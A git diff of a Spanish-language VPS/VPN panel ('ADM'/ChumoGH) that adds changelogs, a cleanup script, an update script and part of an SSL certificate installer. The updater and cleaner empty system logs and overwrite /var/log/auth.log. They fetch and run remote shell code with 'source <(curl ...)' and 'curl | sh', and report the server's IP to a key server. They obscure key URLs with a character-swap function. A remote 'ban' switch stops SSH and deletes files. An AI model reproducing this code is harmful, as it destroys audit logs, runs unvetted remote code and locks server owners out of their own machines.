- ADM V5.3 +################################################################ + ● ------- ------- ------- ------- ------- ------- ------- + + ● RECONSTRUIDO MENU + + ● REESTRUCTURADO AUTOPTIMIZADOR + + ● REESTRUCTURADO BadVPN (arm/arm64) - SYSTEM + + ● RECONSTRUIDO LIMITADOR SSH/DROPBEAR (KillSSH) + + ● VERIIFICADOR DE KEYS OFICIALES EN VERSION EXISTENTE + + +################################################################ + Ultimos Cambios Version ADM V4.5 + + ------- ------- ------- ------- ------- ------- ------- + + ● RECONSTRUIDO MENU + + ● REESTRUCTURADO INTERVALOS DE PUERTOS ACTIVOS + + ● CORRECCION DE MENU TROJAN ( ALTERNO SNI ) + + ● CONTROL DE DIAS DE USUARIOS ( AÑADIR / QUITAR ) + + ● MOTOR V2RAY CON CONTADOR DE USUARIOS EXISTENTES + + ● REFORMA DE INSTALADOR + + ● UPDATE REFORMADO ( SOLO CON KEY ) + + + +################################################################ + Ultimos Cambios Version ADM V4.8 + + ------- ------- ------- ------- ------- ------- ------- + + ● RECONSTRUIDO MENU DE PROTOCOLOS + + ● REESTRUCTURADO INTERVALOS DE PUERTOS ACTIVOS + + ● CORRECCION DE MENU TROJAN ( ALTERNO SNI ) + + ● CONTROL DE DIAS DE USUARIOS ( AÑADIR / QUITAR ) + + ● AÑADIDO CREADOR DE CUENTA VMESS CON USUARIO SSH + + ● REFORMA DE INSTALADOR + + ● UPDATE REFORMADO ( SOLO CON KEY ) + + + ################################################################ + + Ultimos Cambios Version ADM V4.7d + + ● ------- ------- ------- ------- ------- ------- ------- + + ● Añadido Certificado con Dominio ( SSL - TROJAN - V2-UI ) + + ● REESTRUCTURADO DROPBEAR + + ● AÑADIDO MENU SSL BY @KILLSHITO + + ● REDUCIDO TIEMPO DE ESPERA DE INICIO + + ● SCRIPT OPTIMIZADO AL ESPAÑOL ( 86 % ) + + ● REFORMA DE INSTALADOR + + ################################################################ + + Ultimos Cambios Version ADM V4.7 + + ● ------- ------- ------- ------- ------- ------- ------- + + ● MENU PRINCIPAL REFORMADO ( OPTIMIZADO ) + + ● REESTRUCTURADO INSTALADOR + + ● REFORMADO BANNER DE SOPORTE DROPBEAR + + ● MENU V2RAY INICIAL REDUCIDO + + ● ELIMINADO EN 80% INTERFAZ DEL DINO + + +################################################################ + + Ultimos Cambios Version ADM V4.6C + + ● ------- ------- ------- ------- ------- ------- ------- + + ● MENU REFORMADO ( OPTIMIZADO ) + + ● ELIMINADO LAG DE LOGIN + + ● REFORMA DE INSTALACION DE PROTOCOLOS + + ● FIX Version + + +################################################################ + + Ultimos Cambios Version ADM V4.6b + + ● ------- ------- ------- ------- ------- ------- ------- + + ● V2-UI Reestructurado + + ● Solucion Espacio en VPS ( Optimizar VPS ) + + ● Mejoramiento de Trojan-GO + + ● FIX Key LIMPIA + +################################################################ + + Ultimos Cambios Version ADM V4.6a + + ● ------- ------- ------- ------- ------- ------- ------- + + ● Añadido Certificado WEB ( Trojan ) + + ● Añadido Certificado SSL Normal ( WEB ) + + ● REMOVIDO AutOptimizador de Python SSL + + ● RESTRUCTURACIÓN DE INSTALADOR PRIMARIO + + ● Añadido Carga SSL en WebSocket CDN + +################################################################ + + Ultimos Cambios Version ADM V4.6a + + ● ------- ------- ------- ------- ------- ------- ------- + + ● Reestructurado Menú Block Torrent ( Menú 2, Opción 1) + + ● Reestructurado Pay + SSL AutoConfig + + ● Agregado AutoOptimizador de Python SSL + + ● RESTRUCTURACIÓN DE PYTHON SSL + + ● Reestructurado Certificado SSL Normal + + ● Reestructurado WebSocket SSL (HTTPS) + +################################################################ + + Ultimos Cambios Version ADM V4.6 + + ------- ------- ------- ------- ------- ------- ------- + + Añadido Menú Block Torrent ( Menú 7, Opción 16) + + Reestructurado Pay + SSL Autogonnfig + + RESTRUCTURACIÓN DE PYTHON SSL + + Ofuscado SHC + + Añadido WebSocket SSL (HTTPS) + + +################################################################ + + Ultimos Cambios Version ADM V4.5.1b + + ● ------- ------- ------- ------- ------- ------- ------- + + ● Añadido Menú Block Torrent ( Menú 7, Opción 16) + + ● Reestructurado Pay + SSL Autogonnfig + + ● RESTRUCTURACIÓN DE PYTHON SSL + + ● Ofuscado SHC + +################################################################ + + Ultimos Cambios Version ADM V4.5.1a 26-07-2021 + + ● ------- ------- ------- ------- ------- ------- ------- + + ● Añadido Menú Block Torrent ( Menú 7, Opción 16) + + ● Reestructurado PaySSL Autogonnfig + + ● RESTRUCTURACIÓN DE PYTHON SSL + +############################################################### + + Ultimos Cambios Version ADM V4.5.1a + + ● ------- ------- ------- ------- ------- ------- ------- + + ● Añadido Menú Trojan (Experimental, Menú 7, Opción 20) + + ● RESTRUCTURADO CERTIFICADO SSL TROJAN + + ● RESTRUCTURACIÓN DE PYTHON SSL + + ● (AHORA PODRAS CAMBIAR EL RESPONSE STATUS DE CONEXION PYTHON) + + ● Añadido Submenú Clash. (Podrás escojer el Usuario V2RAY Y TROJAN CREADO)! + + ● Source Update Reestructurado! + + ● Nuevo Protocolo Experimental (SSH OVER WEBSOCKET) Menu 9, Opcion 18 ! + + ● ------- ------- ------- ------- ------- ------- ------- + + + ################################################################ \ No newline at end of file diff --git a/Recursos/cabecalho/changelogs.log b/Recursos/cabecalho/changelogs.log new file mode 100644 index 0000000..d10de87 --- /dev/null +++ b/Recursos/cabecalho/changelogs.log @@ -0,0 +1,24 @@ +\033[1;38m################################################################\033[1;37m + + \033[1;42m Ultimos Cambios Version ADM V5.7U \033[0m + + \033[1;35m●\033[1;37m ------- ------- ------- ------- ------- ------- ------- + + \033[1;35m●\033[1;31m FIX PARA UPDATE EN MENU ADM-LITE ( V6 ) + + \033[1;35m●\033[1;31m FIXEADO NOMBRE DE USUARIO EN NUMEROS DE RENOVACIONES + + \033[1;35m●\033[1;31m RENOVADO TOKEN DE SUBDOMINIOS TIPO ( A & NS ) + + \033[1;35m●\033[1;31m AÑADIDO SLOWDNS + ( PROTOCOLOS NUEVOS ) + + \033[1;35m●\033[1;31m FIXEADO OPTIMIZADOR VIA RSYSLOG + + \033[1;35m●\033[1;31m BLOQUEO DE USUARIOS CADUCADOS EN DROPBEAR + + \033[1;35m●\033[1;31m REPARADO AUTOCONFIG DE SSL + (PAYLOAD / DIRECTO) + + \033[1;38m################################################################\033[1;37m + \033[1;42m Revisa el Historial de cambios \033[0m + \033[1;42m En : https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/cabecalho/changelogs.fix \033[0m + \033[1;38m################################################################\033[1;37m diff --git a/Recursos/cabecalho/free-men.sh b/Recursos/cabecalho/free-men.sh new file mode 100644 index 0000000..eaa8629 --- /dev/null +++ b/Recursos/cabecalho/free-men.sh @@ -0,0 +1,21 @@ +#!/bin/sh +## 1 - "LIMPEZA DE DNS" +ip -s -s neigh flush all &> /dev/null +ip neigh flush dev $(ip route | grep default | awk '{print $5}' | head -1) &> /dev/null +## 2 - "CACHE DO SISTEMA" +echo 3 > /proc/sys/vm/drop_caches +## 2 - "LIMPAR LOGS" +echo > /var/log/messages +echo > /var/log/kern.log +echo > /var/log/daemon.log +echo > /var/log/kern.log +echo > /var/log/dpkg.log +echo > /var/log/syslog +#echo > /var/log/auth.log +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +killall usercodes > /dev/null 2>&1 +killall ferramentas > /dev/null 2>&1 +killall menu_inst > /dev/null 2>&1 +killall kswapd0 > /dev/null 2>&1 +echo $(free -h | grep Mem | sed 's/\s\+/,/g' | cut -d , -f4) > /bin/ejecutar/raml diff --git a/Recursos/cabecalho/passwd b/Recursos/cabecalho/passwd new file mode 100644 index 0000000..739d797 --- /dev/null +++ b/Recursos/cabecalho/passwd @@ -0,0 +1 @@ +0000 diff --git a/Recursos/cabecalho/updateadm b/Recursos/cabecalho/updateadm new file mode 100644 index 0000000..267c954 --- /dev/null +++ b/Recursos/cabecalho/updateadm @@ -0,0 +1,328 @@ +#!/bin/bash +[[ -e /etc/adm-lite/v-local.log ]] && _Va=$(cat /etc/adm-lite/v-local.log) +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +killall apt >/dev/null 2>&1 & +service dropbear stop > /dev/null 2>&1 +service sshd restart > /dev/null 2>&1 +service dropbear restart > /dev/null 2>&1 +sudo dpkg --configure -a +apt update -y && apt upgrade -y +apt autoremove -y && apt autoclean -y +clear&&clear +[[ -d /etc/alx ]] || mkdir /etc/alx +foxvalid="/etc/$1" && [[ ! -d ${foxvalid} ]] && exit +print_center(){ +local x +local y +text="$*" +x=$(( ($(tput cols) - ${#text}) / 2)) +echo -ne "\E[6n";read -sdR y; y=$(echo -ne "${y#*[}" | cut -d';' -f1) +echo -ne "\033[${y};${x}f$*" +} +verificar_arq () { +echo "$1" >> $HOME/log.txt +echo -e "$1" +} +fun_limpram() { +sync +echo 3 >/proc/sys/vm/drop_caches +sync && sysctl -w vm.drop_caches=3 +sysctl -w vm.drop_caches=0 +swapoff -a +swapon -a +rm -f /tmp/* +killall kswapd0 +killall tcpdump +killall ksoftirqd +systemctl restart rsyslog.service +systemctl restart systemd-journald.service +[[ -e /etc/adm-lite/modulos ]] && rm -f /etc/adm-lite/modulos +[[ -e /etc/folteto ]] && rm -f /etc/folteto +echo " @drowkid01 " > /var/log/auth.log +sleep 5s +} +function aguarde() { +helice() { +fun_limpram >/dev/null 2>&1 & +tput civis +while [ -d /proc/$! ]; do +for i in / - \\ \|; do +sleep .1 +echo -ne "\e[1D$i" +done +done +tput cnorm +} +echo -ne "\033[1;37m VALIDANDO Y OPTIMIZANDO UPDATE \033[1;32m ${_Va} \033[1;37ma \033[1;32m$(cat /bin/ejecutar/v-new.log)\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" +helice +echo -e "\e[1DOk" +sleep 4s +} +invalid_key () { +[[ $1 == '--ban' ]] && { +cd $HOME +service ssh stop +[[ -d $HOME/chumogh ]] && rm -rf $HOME/chumogh +[[ -d /etc/adm-lite ]] && rm -rf /etc/adm-lite +[[ -e /etc/cghkey ]] && rm -f /etc/cghkey +[[ -e /bin/menu ]] && rm /bin/menu +[[ -e $HOME/log.txt ]] && rm -f $HOME/log.txt +[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh +[[ -e /bin/v2r.sh ]] && rm -f /bin/v2r.sh +[[ -e /bin/xr.sh ]] && rm -f /bin/xr.sh +[[ -e /bin/clash.sh ]] && rm -f /bin/clash.sh +rm -f instala.* > /dev/null +rm -f /bin/cgh > /dev/null +rm -rf /bin/ejecutar > /dev/null +figlet " Key Invalida" | boxes -d stone -p a2v1 > error.log +echo -e "$(msg -bar)" >> error.log +echo " KEY NO PERMITIDA, ADQUIERE UN RESELLER OFICIAL" >> error.log +echo " ----------------------------------------------" >> error.log +echo " KEY NO PERMITIDA, ADQUIERE UN RESELLER OFICIAL" >> error.log +echo " ----------------------------------------------" >> error.log +echo -e ' https://t.me/ChumoGH - @drowkid01' >> error.log +echo -e "$(msg -bar)" >> error.log +cat error.log | lolcat +echo 'clear&&clear +echo -e "\n\n\n \033[0;31m================================================== +¡ 🚫 DROPLET BANEADA 🚫 ! KEY USADA O REGISTRADA NO OFICIAL +================================================== \n\n +SI CONSIDERA QUE FUE UN ERROR, TECLEA ** cgh ** +" +' > /bin/menu +exit&&exit&&exit&&exit +} +} +valid(){ +[[ -e $HOME/log.txt ]] && rm -f $HOME/log.txt +[[ -e /etc/adm-lite/PDirect.py ]] && mv /etc/adm-lite/PDirect.py /bin/ejecutar/PDirect.py +Key=$1 +echo " $Key " +_sys="$(lsb_release -si)-$(lsb_release -sr)" +new_id=$(uuidgen) +wget --no-check-certificate -O $HOME/lista-arq $(ofus "$Key")/$(wget -qO- ipv4.icanhazip.com)/UPDATE/${new_id} > /dev/null 2>&1 && { +chmod 777 $HOME/lista-arq +} +[[ $(cat < $HOME/lista-arq) = "KEY INVALIDA!" || $(cat < $HOME/lista-arq) = "" ]] && { +echo "KEY INVALIDA O CADUCADA" +} || { +n=1 +IP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') && echo "$IP" > /usr/bin/vendor_code +_checkBT="$(echo -e "$_double"|grep "$IP")" +if [ -z "${_checkBT}" ]; then +rm -f $HOME/lista* +tput cuu1 && tput dl1 +echo -e "\n\e[3;31mRECHAZADA, POR GENERADOR NO AUTORIZADO!!\e[0m\n" && sleep 1s +echo +echo -e "\e[3;31mESTE USUARIO NO ESTA AUTORIZADO !!\e[0m" && sleep 1s +invalid_key "--ban" +exit +tput cuu1 && tput dl1 +fi +SCPinstal="./update" +REQUEST=$(ofus "$Key"|cut -d'/' -f2) +[[ ! -d ${SCPinstal} ]] && mkdir ${SCPinstal} +pontos="." +stopping=" COMPROBANDO "|sed -e 's/[^a-z -]//ig' +for arqx in $(cat $HOME/lista-arq); do +msg -verm "${stopping} ${pontos}" && sleep 0.2s +wget --no-check-certificate -O $HOME/update/${arqx} ${IP}:81/${REQUEST}/${arqx} > /dev/null 2>&1 && verificar_arq "${arqx}" +tput cuu1 && tput dl1 +pontos+="." +n=$(($n + 1)) +done +echo "$(cat < $HOME/log.txt | wc -l)" +for arqs in `ls $HOME/update`; do +fun_filez $arqs +sleep 1s +tput cuu1 && tput dl1 +done +echo ${Key} > /etc/cghkey +echo -e "$(cat /etc/adm-lite/menu_credito|head -1)" > /bin/ejecutar/menu_credito && chmod +x /bin/ejecutar/menu_credito +[[ -e /etc/adm-lite/vencidos ]] && rm /etc/adm-lite/vencidos +[[ -e /etc/adm-lite/onlines ]] && rm /etc/adm-lite/onlines +[[ -e /bin/ejecutar/uskill ]] && ukk=$(cat /bin/ejecutar/uskill) || echo 0 > /bin/ejecutar/uskill +[[ $ukk = "" ]] && echo 0 > /bin/ejecutar/uskill +[[ -e $HOME/lista-arq ]] && rm $HOME/lista-arq +[[ -d $HOME/update ]] && rm -rf $HOME/update +[[ -e /bin/ejecutar/PDirect.py ]] && mv /bin/ejecutar/PDirect.py /etc/adm-lite/PDirect.py +[[ -e /bin/ejecutar/usCONEXT ]] && rm -f /bin/ejecutar/usCONEXT +[[ -e /bin/ejecutar/usCONEXC ]] && rm -f /bin/ejecutar/usCONEXC +[[ "$lista_atualizados" != "" ]] && echo -e "${cor[5]} $lista_atualizados ${txt[206]}" && { +tput cuu1 && tput dl1 && echo -e " ${_upd}" +echo -e "$(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/cabecalho/changelogs.log)" +[[ $(cat < $HOME/log.txt | wc -l ) -ge 10 ]] && echo $Key > /etc/cghkey && chmod 777 /etc/cghkey +}|| echo -e " \033[1;45m NO $lista_atualizados ${txt[208]}\033[0m" +[[ -e /bin/ejecutar/echo-ram.sh ]] && bash /bin/ejecutar/echo-ram.sh > /dev/null 2>&1 +} +} +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="x";; +"x")txt[$i]=".";; +"5")txt[$i]="s";; +"s")txt[$i]="5";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"4")txt[$i]="0";; +"0")txt[$i]="4";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} +fun_filez () { +arq="/etc/adm-lite/$1" +arq2="$HOME/update/$1" +[[ ! -e "/etc/adm-lite/$1" ]] && { +mv -f $arq2 $arq +return +} +equal=$(diff -q $arq $arq2) +[[ "$equal" = "" ]] && rm $arq2 || { +mv -f $arq2 $arq +chmod +x $arq +lista_atualizados=$(($lista_atualizados + 1)) +echo -e " \033[1;32m ♳ ➢ $1 - ${txt[205]}!" +_upd+="FILE ${lista_atualizados} : /bin/$1 -> FIXED \n" +tput cuu1 && tput dl1 +sleep 0.2s +} +} +namsobin () +{ +echo -e "\033[1;37m 【 ★ ACTUALIZADOR ChumoGH ADM ★ 】\033[0m" +msg -bar +echo -e "$barra" +echo -e "\033[92m -- INSTALANDO PAQUETES AÑADIDOS -- " +echo -e "$barra" +echo -ne "\033[97m # REPACK BUILD MOD .................... " +( +wget -q -O /bin/ejecutar/msg https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg +[[ $(dpkg --get-selections|grep -w "bsdmainutils"|head -1) ]] || apt-get install bsdmainutils -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "psmisc"|head -1) ]] || apt-get install psmisc -y &>/dev/null +) && ESTATUS=`echo -e "\033[92m FIXED"` &>/dev/null || ESTATUS=`echo -e "\033[91mERROR AL PARCHAR"` &>/dev/null +echo -e "$ESTATUS " +apt install bc -y &>/dev/null +echo -ne "\033[97m # REPACK NEW FUNCION ..................." +(echo 'source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/cabecalho/free-men.sh)' > /bin/ejecutar/echo-ram.sh +wget -q -O /var/www/html/index.html https://gitea.com/drowkid01/scriptdk1/raw/branch/main/html/index.html && cp /var/www/html/index.html /var/www/index.html +wget https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/killSSH.sh &>/dev/null -O /bin/killssh &>/dev/null +echo 'wget --no-check-certificate -q -O /bin/ejecutar/v-new.log https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/cabecalho/v-new.log' >> /bin/ejecutar/echo-ram.sh && bash /bin/ejecutar/echo-ram.sh) && ESTATUS=`echo -e "\033[92mAGREGADAS"` &>/dev/null || ESTATUS=`echo -e "\033[91mFALLO EN AÑADIR"` &>/dev/null +echo -e "$ESTATUS " +clavlink="$(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/cabecalho/passwd)" +msg -bar +echo -e " SI DESEAS MANTENER TU VERSION \n SOLO PRESIONA ENTER" +msg -bar +[[ -z $entrada ]] && read -p " PEGA TU KEY: " passw +if [[ -z $passw ]]; then +permited="$clavlink" +else +keyupdate=$passw +permited=$(ofus $passw) +passw=$permited +fi +if [[ $permited = $passw ]]; then +clear +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH��VPS 🐲 â—„â—„<<===== \033[0m" +echo -e "\033[1;37m 【 ★ Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ★ 】\033[0m" +msg -bar +echo -e " \033[41m-- Arch : $(lscpu | grep "Vendor ID" | awk '{print $3}') SISTEMA $(lsb_release -si) $(lsb_release -sr) --" +msg -bar +echo -e "\033[1;37m VERIFICANDO TU KEY DE ACTUALIZACION......" | pv -qL 40 +msg -bar +cd $HOME +[[ -d $HOME/update ]] && rm -rf $HOME/update +[[ -e $HOME/lista ]] && rm $HOME/lista +cd $HOME +[[ -z $keyupdate ]] && permited=$(cat < /etc/cghkey) || permited=$keyupdate +echo -e "\033[1;37m TU KEY RESGISTRADA " +[[ -e /etc/cghkey ]] && echo -e "\033[1;36m\033[1;33m【$(cat /etc/cghkey)】" | pv -qL 25 || echo "qra-atsil$(date | md5sum | head -c10)8888:$(ofus $(wget -qO- ifconfig.me))" > /etc/cghkey +[[ $(cat < /etc/cghkey) = $permited ]] && { +echo -e "\033[1;36m\033[1;33m 【 KEY INVALIDA PARA UPDATE 】" +unset permited +[[ -z $permited ]] && wget --no-check-certificate -O lista https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/cabecalho/lista -o /dev/null && atualiza_fun +} || { +echo -e "\033[1;36m\033[1;33m 【 REG KEY NUEVA PARA UPDATE 】" +[[ ! -z $permited ]] && valid "$keyupdate" +} +else +clear +msg -bar +echo -e "\033[1;37m LA CONTRASEÑA o KEY NO COINCIDE " +echo -e "\033[1;37m ACTUALIZACION NO AUTORIZADA !" +echo -e "\033[1;37m Contacte con Vendedor de la KEY" +msg -bar +sleep 1 +fi +} +atualiza_fun () { +echo -e " UPDATE LOCAL " +tput cuu1 && tput dl1 +msg -bar +cd $HOME +[[ ! -d ./update ]] && mkdir ./update +cd ./update +wget -i $HOME/lista -o /dev/null +[[ -e gerar.sh ]] && rm -f gerar.sh +for arqs in `ls $HOME/update`; do +fun_filez $arqs +sleep 1.5s +done +[[ -e /etc/adm-lite/vencidos ]] && rm /etc/adm-lite/vencidos +[[ -e /etc/adm-lite/onlines ]] && rm /etc/adm-lite/onlines +[[ -e /bin/ejecutar/uskill ]] && ukk=$(cat /bin/ejecutar/uskill) || echo 0 > /bin/ejecutar/uskill +[[ $ukk = "" ]] && echo 0 > /bin/ejecutar/uskill +[[ -e $HOME/lista ]] && rm $HOME/lista +[[ -d $HOME/update ]] && rm -rf $HOME/update +[[ "$lista_atualizados" != "" ]] && echo -e "${cor[5]} $lista_atualizados ${txt[206]}" && echo -e "$(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/cabecalho/changelogs.log)" || echo -e " \033[1;45m NO $lista_atualizados ${txt[208]}\033[0m" +[[ -e /bin/ejecutar/echo-ram.sh ]] && bash /bin/ejecutar/echo-ram.sh > /dev/null 2>&1 +[[ -e /etc/adm-lite/idioma ]] && rm /etc/adm-lite/idioma +} +cor[1]="\033[1;36m" +cor[2]="\033[1;32m" +cor[3]="\033[1;31m" +cor[4]="\033[1;33m" +cor[0]="\033[1;37m" +txt[206]="Actualizado(s)!" +txt[208]="Existe Actualizacion Pendiente!" +txt[207]="Valid!!!" +txt[203]="⊘ ➢" +txt[204]="♳ ➢" +txt[205]="✓" +[[ -e /bin/ejecutar/menu_credito ]] && echo "" || echo "$(cat /etc/adm-lite/menu_credito|head -1))" > /bin/ejecutar/menu_credito && chmod +x /bin/ejecutar/menu_credito +catress=$(cat < /bin/ejecutar/menu_credito) +[[ -z $catress ]] && echo "Verified【 New @drowkid01 2021" > /bin/ejecutar/menu_credito +namsobin +echo "Verified【 $(cat /bin/ejecutar/menu_credito)" > /bin/ejecutar/exito +[[ -z $(cat /etc/adm-lite/menu_credito|head -1) ]] && echo "Verified【 New @drowkid01 2021" > /root/exito +sleep 0.5s +msg -bar +echo -e " \033[1;45m $(cat < /bin/ejecutar/exito)© 】 $(cat /bin/ejecutar/v-new.log)\033[0m" +[[ -e $HOME/name ]] && mv /root/name /bin/ejecutar/ +msg -bar +cd $HOME +for _pids_ in `atq | awk '{print $1}'`; do +atrm $_pids_ +done +echo -e " ESPERE MIENTRAS VALIDAMOS SU KEY " +echo "" +aguarde +echo "" +echo -e " VUELVA A INGRESAR PARA VALIDAR ACTUALIZACION" +msg -bar +killall kswapd0 > /dev/null 2>&1 +killall ksoftirqd > /dev/null 2>&1 +killall menu_inst > /dev/null 2>&1 +killall -y 5s tcpdump > /dev/null 2>&1 +echo -e "${cor[0]} SALIENDO " | pv -qL 50 +sleep 2s +exit&&exit diff --git a/Recursos/cabecalho/v-new.log b/Recursos/cabecalho/v-new.log new file mode 100644 index 0000000..998a6f8 --- /dev/null +++ b/Recursos/cabecalho/v-new.log @@ -0,0 +1 @@ +V1 diff --git a/Recursos/certificadossl.sh b/Recursos/certificadossl.sh new file mode 100644 index 0000000..a383c68 --- /dev/null +++ b/Recursos/certificadossl.sh @@ -0,0 +1,336 @@ +#!/bin/bash +#====FUNCIONES========== + +# SI USAS ESTE FORMATO, RECUERDA CAMBIAR TUS ZONAS ID DE TU DOMINIO # +# INCLUIDO CON EL TOKEN DE TU ZONA DIRIGIDO A TU DOMINIO # +# NO SEAS RATA Y CONFIERE SOLICITUD DIRECTO CON EL DESARROLLADOR !! # + +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/module) +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) +ADM_crt='' +Key="$(cat /etc/cghkey)" +#jq + +fssl() { +msg -bar +echo "" +echo -e " INSTALL SERVICIOS NECESARIOS " +echo "" +msg -bar +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq ................. $ESTATUS " +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs .............. $ESTATUS " +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm ................ $ESTATUS " +echo "" > /etc/fixcssl +} + +[[ -e /etc/fixcssl ]] || fssl + +cert_install(){ + #apt install socat netcat -y + if [[ ! -e $HOME/.acme.sh/acme.sh ]];then + msg -bar3 + msg -ama " Instalando script acme.sh" + curl -s "https://get.acme.sh" | sh &>/dev/null + fi + if [[ ! -z "${mail}" ]]; then + title "LOGEANDO EN Zerossl" + sleep 3 + $HOME/.acme.sh/acme.sh --register-account -m ${mail} --server zerossl + $HOME/.acme.sh/acme.sh --set-default-ca --server zerossl + enter + else + title "APLICANDO SERVIDOR letsencrypt" + sleep 3 + $HOME/.acme.sh/acme.sh --set-default-ca --server letsencrypt + enter + fi + title "GENERANDO CERTIFICADO SSL" + sleep 3 + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force; then + "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath ${ADM_crt}/${domain}.crt --keypath ${ADM_crt}/${domain}.key --ecc --force &>/dev/null + [[ ! -d /data ]] && mkdir /data + [[ -e ${ADM_crt}/${domain}.crt ]] && cp ${ADM_crt}/${domain}.crt /data/cert.crt + [[ -e ${ADM_crt}/${domain}.key ]] && cp ${ADM_crt}/${domain}.key /data/cert.key + [[ -e ${ADM_crt}/ca.cer ]] && cp ${ADM_crt}/ca.cer /data/ca.crt + rm -rf $HOME/.acme.sh/${domain}_ecc + msg -bar + print_center -verd "Certificado SSL se genero con éxito" + #echo "${ADM_crt}/${domain}.crt " + _mssBOT "CERTIFICADO EMTIDO EXITOSAMENTE" "$domain" + enter + else + rm -rf "$HOME/.acme.sh/${domain}_ecc" + msg -bar + print_center -verm2 "Error al generar el certificado SSL" + _mssBOT " ERROR AL EMITIR CERTIFICADO " "$domain" + msg -bar + msg -ama " verifique los posibles error" + msg -ama " e intente de nuevo" + enter + fi + } + +ext_cert(){ + unset cert + declare -A cert + title "INTALADOR DE CERTIFICADO EXTERNO" + print_center -azu "Requiere tener a mano su certificado ssl" + print_center -azu "junto a su correspondiente clave privada" + msg -bar + msg -ne " Continuar...[S/N]: " + read opcion + [[ $opcion != @(S|s|Y|y) ]] && return 1 + + + title "INGRESE EL CONTENIDO DE SU CERTIFICADO SSL" + msg -ama ' a continuacion se abrira el editor de texto nano + ingrese el contenido de su certificado + guardar precionando "CTRL+x" + luego "S o Y" segun el idioma + y por ultimo "enter"' + msg -bar + msg -ne " Continuar...[S/N]: " + read opcion + [[ $opcion != @(S|s|Y|y) ]] && return 1 + rm -rf ${ADM_tmp}/tmp.crt + clear + nano ${ADM_tmp}/tmp.crt + + title "INGRESE EL CONTENIDO DE CLAVE PRIVADA" + msg -ama ' a continuacion se abrira el editor de texto nano + ingrese el contenido de su clave privada. + guardar precionando "CTRL+x" + luego "S o Y" segun el idioma + y por ultimo "enter"' + msg -bar + msg -ne " Continuar...[S/N]: " + read opcion + [[ $opcion != @(S|s|Y|y) ]] && return 1 + ${ADM_tmp}/tmp.key + clear + nano ${ADM_tmp}/tmp.key + + if openssl x509 -in ${ADM_tmp}/tmp.crt -text -noout &>/dev/null ; then + DNS=$(openssl x509 -in ${ADM_tmp}/tmp.crt -text -noout | grep 'DNS:'|sed 's/, /\n/g'|sed 's/DNS:\| //g') + rm -rf ${ADM_crt}/* + if [[ $(echo "$DNS"|wc -l) -gt "1" ]]; then + DNS="multi-domain" + fi + mv ${ADM_tmp}/tmp.crt ${ADM_crt}/$DNS.crt + mv ${ADM_tmp}/tmp.key ${ADM_crt}/$DNS.key + + title "INSTALACION COMPLETA" + echo -e "$(msg -verm2 "Domi: ")$(msg -ama "$DNS")" + echo -e "$(msg -verm2 "Emit: ")$(msg -ama "$(openssl x509 -noout -in ${ADM_crt}/$DNS.crt -startdate|sed 's/notBefore=//g')")" + echo -e "$(msg -verm2 "Expi: ")$(msg -ama "$(openssl x509 -noout -in ${ADM_crt}/$DNS.crt -enddate|sed 's/notAfter=//g')")" + echo -e "$(msg -verm2 "Cert: ")$(msg -ama "$(openssl x509 -noout -in ${ADM_crt}/$DNS.crt -issuer|sed 's/issuer=//g'|sed 's/ = /=/g'|sed 's/, /\n /g')")" + msg -bar + echo "$DNS" > ${ADM_src}/dominio.txt + read foo + else + rm -rf ${ADM_tmp}/tmp.crt + rm -rf ${ADM_tmp}/tmp.key + clear + msg -bar + print_center -verm2 "ERROR DE DATOS" + msg -bar 